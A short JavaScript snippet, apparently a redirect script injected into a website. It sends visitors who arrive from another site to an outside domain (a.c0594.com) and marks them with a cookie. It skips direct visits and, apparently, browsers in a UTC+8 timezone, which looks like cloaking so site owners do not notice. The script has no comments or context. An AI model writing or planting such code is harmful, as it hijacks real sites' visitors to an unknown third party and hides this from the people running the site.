function setCookie(name,value)
{
var exp = new Date();
exp.setTime(exp.getTime() + 60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
var rs=0;
var referrer =document.referrer;
var host2=window.location.host; 
if(referrer.toLowerCase().indexOf(host2)>0||referrer=="")
{
	  rs=0;
}
else
{
	rs=1;
}
var sq=new Date().toString();
if(sq.indexOf("08")>0)
{
time=0;
}
else
{
time=1;
}
if (rs==1 &&time==1)
{
  setCookie("jack","j");
 self.location='http://a.c0594.com/?tz=1';
}
else
{
setCookie("jack","no");
}